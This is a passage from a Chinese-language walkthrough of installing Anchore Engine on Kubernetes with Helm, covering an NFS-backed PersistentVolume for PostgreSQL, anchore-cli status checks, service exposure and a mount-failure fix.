anchore-anchore-engine-catalog 0/1 1 0 0s
anchore-anchore-engine-policy 0/1 1 0 0s
anchore-anchore-engine-simplequeue 0/1 0 0 0s
3、查看pod的状态,发现postgresql的状态pending,原因是没有建立pv,而官方教程并没有提醒。
[root@sec-infoanalysis2-test ops]# kubectl get pods
NAME READY STATUS RESTARTS AGE
anchore-anchore-engine-analyzer-779c48d479-8gtvl 0/1 Running 0 11s
anchore-anchore-engine-api-5c67f58476-lc6rp 0/1 Running 0 11s
anchore-anchore-engine-catalog-99db9fd77-fkfkr 0/1 Running 0 11s
anchore-anchore-engine-policy-bcff8c8fc-lm4k2 0/1 Running 0 11s
anchore-anchore-engine-simplequeue-5cdcb9c74-wq72v 0/1 Running 0 11s
anchore-postgresql-c6657b6c7-4hwh5 0/1 Pending 0 11s
[root@sec-infoanalysis2-test ops]# kubectl get pvc
NAME STATUS VOLUME CAPACITY ACCESS MODES STORAGECLASS AGE
anchore-postgresql Pending 4m20s
[root@sec-infoanalysis2-test ops]# kubectl get pv
No resources found.
4、建立pv,这里使用的是nfs,关于nfs服务的部署这里就不说了
[root@sec-infoanalysis2-test ops]# cat pv.yaml
kind: PersistentVolume
apiVersion: v1
metadata:
name: anchore-pv-volume
labels:
type: postgresql
spec:
capacity:
storage: 20Gi
accessModes:
- ReadWriteOnce
nfs:
server: 192.168.47.146
path: "/data"
[root@sec-infoanalysis2-test ops]# showmount -e localhost //查看nfs挂载目录
Export list for localhost:
/data *
[root@sec-infoanalysis2-test ops]# kubectl create -f pv.yaml
persistentvolume/anchore-pv-volume created
[root@sec-infoanalysis2-test ops]# kubectl get pv
NAME CAPACITY ACCESS MODES RECLAIM POLICY STATUS CLAIM STORAGECLASS REASON AGE
anchore-pv-volume 20Gi RWO Retain Available 4s
[root@sec-infoanalysis2-test ops]# kubectl get pv
NAME CAPACITY ACCESS MODES RECLAIM POLICY STATUS CLAIM STORAGECLASS REASON AGE
anchore-pv-volume 20Gi RWO Retain Bound default/anchore-postgresql 12s
[root@sec-infoanalysis2-test ops]# kubectl get pvc
NAME STATUS VOLUME CAPACITY ACCESS MODES STORAGECLASS AGE
anchore-postgresql Bound anchore-pv-volume 20Gi RWO 3m24s
5、查看anchore状态
[root@sec-infoanalysis1-test ops]# pip install anchorecli //安装客户端
[root@sec-infoanalysis1-test ops]# anchore-cli --u admin --p test --url http://10.103.227.236:8228/v1 system status
Service policy_engine (anchore-anchore-engine-policy-bcff8c8fc-lm4k2, http://anchore-anchore-engine-policy:8087): up
Service simplequeue (anchore-anchore-engine-simplequeue-5cdcb9c74-wq72v, http://anchore-anchore-engine-simplequeue:8083): up
Service analyzer (anchore-anchore-engine-analyzer-779c48d479-8gtvl, http://anchore-anchore-engine-analyzer:8084): up
Service apiext (anchore-anchore-engine-api-5c67f58476-lc6rp, http://anchore-anchore-engine-api:8228): up
Service catalog (anchore-anchore-engine-catalog-99db9fd77-fkfkr, http://anchore-anchore-engine-catalog:8082): up
Engine DB Version: 0.0.11
Engine Code Version: 0.5.1
6、暴露服务
需要创建一个名为anchore-engine的svc,把pod内部的8228端口暴露出来,用于给Jenkins调用,其中EXTERNAL-IP肯定是pending,因为没有使用Amazon之类的服务。使用任意节点真实ip+31627端口可以访问暴露出来的服务
[root@sec-infoanalysis2-test ops]# kubectl expose deployment anchore-anchore-engine-api --type=LoadBalancer --name=anchore-engine --port=8228
service/anchore-engine exposed
[root@sec-infoanalysis2-test ops]# kubectl get svc
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
anchore-anchore-engine-api ClusterIP 10.103.227.236 <none> 8228/TCP 131m
anchore-anchore-engine-catalog ClusterIP 10.104.243.28 <none> 8082/TCP 131m
anchore-anchore-engine-policy ClusterIP 10.105.2.122 <none> 8087/TCP 131m
anchore-anchore-engine-simplequeue ClusterIP 10.100.39.207 <none> 8083/TCP 131m
anchore-postgresql ClusterIP 10.111.41.100 <none> 5432/TCP 131m
anchore-engine LoadBalancer 10.101.52.243 <pending> 8228:31627/TCP 2s
[root@sec-infoanalysis1-test ops]# anchore-cli --u admin --p test --url http://192.168.47.144:31627/v1 system status
Service catalog (anchore-anchore-engine-catalog-99db9fd77-fkfkr, http://anchore-anchore-engine-catalog:8082): up
Service policy_engine (anchore-anchore-engine-policy-bcff8c8fc-lm4k2, http://anchore-anchore-engine-policy:8087): up
Service simplequeue (anchore-anchore-engine-simplequeue-5cdcb9c74-wq72v, http://anchore-anchore-engine-simplequeue:8083): up
Service analyzer (anchore-anchore-engine-analyzer-779c48d479-8gtvl, http://anchore-anchore-engine-analyzer:8084): up
Service apiext (anchore-anchore-engine-api-5c67f58476-lc6rp, http://anchore-anchore-engine-api:8228): up
Engine DB Version: 0.0.11
Engine Code Version: 0.5.1
1、如果报错MountVolume.SetUp failed for volume "anchore-pv-volume" : mount failed: exit status 32,是因为k8s节点没有安装nfs相关,需执行命令:yum install nfs-common nfs-utils -y
[root@sec-infoanalysis2-test ~]# kubectl describe pod anchore-postgresql-c6657b6c7-4hwh5
Name: anchore-postgresql-c6657b6c7-4hwh5
Namespace: default
Priority: 0
Node: sec-k8s-node1/192.168.47.144
Start Time: Wed, 23 Oct 2019 14:33:47 +0800
Labels: app=postgresql
pod-template-hash=c6657b6c7
release=anchore-chj
Annotations: <none>
Status: Pending
IP:
Controlled By: ReplicaSet/anchore-postgresql-c6657b6c7
Containers:
anchore-postgresql:
Container ID:
Image: postgres:9.6.2
Image ID:
Port: 5432/TCP
Host Port: 0/TCP
State: Waiting
Reason: ContainerCreating
Ready: False
Restart Count: 0
Requests:
cpu: 100m
memory: 256Mi
Liveness: exec [sh -c exec pg_isready --host $POD_IP] delay=60s timeout=5s period=10s #success=1 #failure=6
Readiness: exec [sh -c exec pg_isready --host $POD_IP] delay=5s timeout=3s period=5s #success=1 #failure=3
Environment:
POSTGRES_USER: anchoreengine
PGUSER: anchoreengine
POSTGRES_DB: anchore
POSTGRES_INITDB_ARGS:
PGDATA: /var/lib/postgresql/data/pgdata
POSTGRES_PASSWORD: <set to the key 'postgres-password' in secret 'anchore-postgresql'> Optional: false
POD_IP: (v1:status.podIP)
Mounts:
/var/lib/postgresql/data/pgdata from data (rw,path="postgresql-db")
/var/run/secrets/kubernetes.io/serviceaccount from default-token-m4s9k (ro)
Conditions:
Type Status
Initialized True
Ready False
ContainersReady False
PodScheduled True
Volumes:
data:
Type: PersistentVolumeClaim (a reference to a PersistentVolumeClaim in the same namespace)
ClaimName: anchore-postgresql
ReadOnly: false
default-token-m4s9k:
Type: Secret (a volume populated by a Secret)
SecretName: default-token-m4s9k
Optional: false
QoS Class: Burstable
Node-Selectors: <none>
Tolerations: node.kubernetes.io/not-ready:NoExecute for 300s
node.kubernetes.io/unreachable:NoExecute for 300s
Events:
Type Reason Age From Message
---- ------ ---- ---- -------
Warning FailedScheduling 5m40s (x30 over 42m) default-scheduler pod has unbound immediate PersistentVolumeClaims (repeated 2 times)
Normal Scheduled 5m36s default-scheduler Successfully assigned default/anchore-postgresql-c6657b6c7-4hwh5 to sec-k8s-node1
Warning FailedMount 5m35s kubelet, sec-k8s-node1 MountVolume.SetUp failed for volume "anchore-pv-volume" : mount failed: exit status 32
# helm install --name anchore stable/anchore-engine --set postgresql.postgresPassword=xxx,anchoreGlobal.defaultAdminPassword=xxx,postgresql.postgresUser=postgres,postgresql.postgresDatabase=anchore,postgresql.externalEndpoint=192.168.47.146:5432,anchoreGlobal.logLevel=DEBUG,anchore-feeds-db.postgresPassword=xxx,anchore-feeds-db.externalEndpoint=192.168.47.146:5432,anchoreAnalyzer.layerCacheMaxGigabytes=4
参考链接:
https://docs.anchore.com/current/docs/engine/engine_installation/helm/
A declarative, efficient, and flexible JavaScript library for building user interfaces.
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google ❤️ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.